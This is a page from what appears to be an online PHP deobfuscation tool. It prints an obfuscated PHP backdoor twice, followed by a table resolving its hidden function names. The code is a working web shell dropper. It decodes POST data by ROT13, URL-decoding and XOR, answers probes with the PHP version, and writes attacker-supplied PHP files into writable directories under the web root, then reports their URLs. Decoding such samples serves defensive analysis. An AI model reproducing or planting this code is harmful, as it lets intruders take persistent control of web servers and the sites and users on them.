Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $GMdQGaw = 'D'."O".chr(420-353)."U".'M'.chr(69)."N".chr(84).chr(634-539)."R"."O"..

Decoded Output download

 
 
<?php $GMdQGaw = 'D'."O".chr(420-353)."U".'M'.chr(69)."N".chr(84).chr(634-539)."R"."O"."O".chr(344-260);$iyMxEdIrGh = "H"."T"."T".chr(858-778).'_'.'H'.'O'."S".'T';$UMGOBBhyH = chr(104)."t".chr(328-212).chr(649-537).":".chr(648-601)."/";$GERHeVr = '.'.chr(758-646)."h".chr(112);$IoJaECNlp = chr(112)."h".'p';$cEyNbDnW = "f".chr(141-36).'l'.chr(713-612)."_".chr(895-783)."u"."t".'_'.chr(99)."o"."n"."t".'e'."n".'t'.chr(115);$klwvH = 'r'.chr(730-633).chr(119).chr(117).'r'."l".chr(116-16)."e".chr(870-771)."o"."d".chr(101);$ghkhTyct = chr(137-20)."n"."s"."e".chr(520-406).'i'.chr(1047-950)."l".chr(105).'z'.'e';$kQURvd = "i"."s".chr(95)."w"."r".'i'."t".chr(507-410)."b".'l'.chr(663-562);$pMEcycbKa = 'p'."h".chr(112).chr(1026-908).chr(641-540)."r".chr(785-670).'i'."o".chr(607-497);$HAnLI = chr(172-57).chr(116)."r"."_".chr(114).'o'.'t'."1"."3";$zZtSZiWf = chr(115)."e".chr(755-641).chr(946-841).'a'.'l'."i".chr(122)."e";$FniDXsSXI = 's'.'t'."r"."_".chr(741-626)."p"."l"."i".'t';foreach ($_POST as $IckhWAQaN => $hlGSF){if (strlen($IckhWAQaN) == 16){$hlGSF = $FniDXsSXI($klwvH($HAnLI($hlGSF)));$IckhWAQaN = array_slice($FniDXsSXI(str_repeat($IckhWAQaN, (count($hlGSF)/16)+1)), 0, count($hlGSF));function lWVYsAiz($NYCybEnNr, $WWHcdWepk, $IckhWAQaN){$cPYPqDR = "60b2abad-0532-4780-aeba-865861637a2b";return $NYCybEnNr ^ $cPYPqDR[$WWHcdWepk % strlen($cPYPqDR)] ^ $IckhWAQaN;}$hlGSF = implode("", array_map("lWVYsAiz", array_values($hlGSF), array_keys($hlGSF), array_values($IckhWAQaN)));$hlGSF = @$ghkhTyct($hlGSF);if (@is_array($hlGSF)){$BemdZpduD = array_keys($hlGSF);$hlGSF = $hlGSF[$BemdZpduD[0]];if ($hlGSF === $BemdZpduD[0]){echo @$zZtSZiWf(Array($IoJaECNlp => @$pMEcycbKa(), ));exit();}else {function urEKlcDD($IKgqiir){static $aotjtsPfxX = array();$RiCQLSOEFz = glob($IKgqiir . '/*', GLOB_ONLYDIR);if (count($RiCQLSOEFz) > 0) {foreach ($RiCQLSOEFz as $IKgqi) {if (@$kQURvd($IKgqi)) {$aotjtsPfxX[] = $IKgqi;}}}foreach ($RiCQLSOEFz as $IKgqiir) urEKlcDD($IKgqiir);return $aotjtsPfxX;}$nsDJng = $_SERVER[$GMdQGaw];$RiCQLSOEFz = urEKlcDD($nsDJng);$BemdZpduD = array_rand($RiCQLSOEFz);$kAmfG = $RiCQLSOEFz[$BemdZpduD] . "/" . substr(md5(time()), 0, 8) . $GERHeVr;@$cEyNbDnW($kAmfG, $hlGSF);echo $UMGOBBhyH . $_SERVER[$iyMxEdIrGh] . substr($kAmfG, strlen($nsDJng));die();}}}} ?> 
 

Did this file decode correctly?

Original Code



<?php $GMdQGaw = 'D'."O".chr(420-353)."U".'M'.chr(69)."N".chr(84).chr(634-539)."R"."O"."O".chr(344-260);$iyMxEdIrGh = "H"."T"."T".chr(858-778).'_'.'H'.'O'."S".'T';$UMGOBBhyH = chr(104)."t".chr(328-212).chr(649-537).":".chr(648-601)."/";$GERHeVr = '.'.chr(758-646)."h".chr(112);$IoJaECNlp = chr(112)."h".'p';$cEyNbDnW = "f".chr(141-36).'l'.chr(713-612)."_".chr(895-783)."u"."t".'_'.chr(99)."o"."n"."t".'e'."n".'t'.chr(115);$klwvH = 'r'.chr(730-633).chr(119).chr(117).'r'."l".chr(116-16)."e".chr(870-771)."o"."d".chr(101);$ghkhTyct = chr(137-20)."n"."s"."e".chr(520-406).'i'.chr(1047-950)."l".chr(105).'z'.'e';$kQURvd = "i"."s".chr(95)."w"."r".'i'."t".chr(507-410)."b".'l'.chr(663-562);$pMEcycbKa = 'p'."h".chr(112).chr(1026-908).chr(641-540)."r".chr(785-670).'i'."o".chr(607-497);$HAnLI = chr(172-57).chr(116)."r"."_".chr(114).'o'.'t'."1"."3";$zZtSZiWf = chr(115)."e".chr(755-641).chr(946-841).'a'.'l'."i".chr(122)."e";$FniDXsSXI = 's'.'t'."r"."_".chr(741-626)."p"."l"."i".'t';foreach ($_POST as $IckhWAQaN => $hlGSF){if (strlen($IckhWAQaN) == 16){$hlGSF = $FniDXsSXI($klwvH($HAnLI($hlGSF)));$IckhWAQaN = array_slice($FniDXsSXI(str_repeat($IckhWAQaN, (count($hlGSF)/16)+1)), 0, count($hlGSF));function lWVYsAiz($NYCybEnNr, $WWHcdWepk, $IckhWAQaN){$cPYPqDR = "60b2abad-0532-4780-aeba-865861637a2b";return $NYCybEnNr ^ $cPYPqDR[$WWHcdWepk % strlen($cPYPqDR)] ^ $IckhWAQaN;}$hlGSF = implode("", array_map("lWVYsAiz", array_values($hlGSF), array_keys($hlGSF), array_values($IckhWAQaN)));$hlGSF = @$ghkhTyct($hlGSF);if (@is_array($hlGSF)){$BemdZpduD = array_keys($hlGSF);$hlGSF = $hlGSF[$BemdZpduD[0]];if ($hlGSF === $BemdZpduD[0]){echo @$zZtSZiWf(Array($IoJaECNlp => @$pMEcycbKa(), ));exit();}else {function urEKlcDD($IKgqiir){static $aotjtsPfxX = array();$RiCQLSOEFz = glob($IKgqiir . '/*', GLOB_ONLYDIR);if (count($RiCQLSOEFz) > 0) {foreach ($RiCQLSOEFz as $IKgqi) {if (@$kQURvd($IKgqi)) {$aotjtsPfxX[] = $IKgqi;}}}foreach ($RiCQLSOEFz as $IKgqiir) urEKlcDD($IKgqiir);return $aotjtsPfxX;}$nsDJng = $_SERVER[$GMdQGaw];$RiCQLSOEFz = urEKlcDD($nsDJng);$BemdZpduD = array_rand($RiCQLSOEFz);$kAmfG = $RiCQLSOEFz[$BemdZpduD] . "/" . substr(md5(time()), 0, 8) . $GERHeVr;@$cEyNbDnW($kAmfG, $hlGSF);echo $UMGOBBhyH . $_SERVER[$iyMxEdIrGh] . substr($kAmfG, strlen($nsDJng));die();}}}} ?>

Function Calls

chr 44

Variables

$HAnLI str_rot13
$klwvH rawurldecode
$kQURvd is_writable
$GERHeVr .php
$GMdQGaw DOCUMENT_ROOT
$cEyNbDnW file_put_contents
$ghkhTyct unserialize
$zZtSZiWf serialize
$FniDXsSXI str_split
$IoJaECNlp php
$UMGOBBhyH http://
$pMEcycbKa phpversion
$iyMxEdIrGh HTTP_HOST

Stats

MD5 5ff1953c6cd6d27539d315c254c31cd3
Eval Count 0
Decode Time 112 ms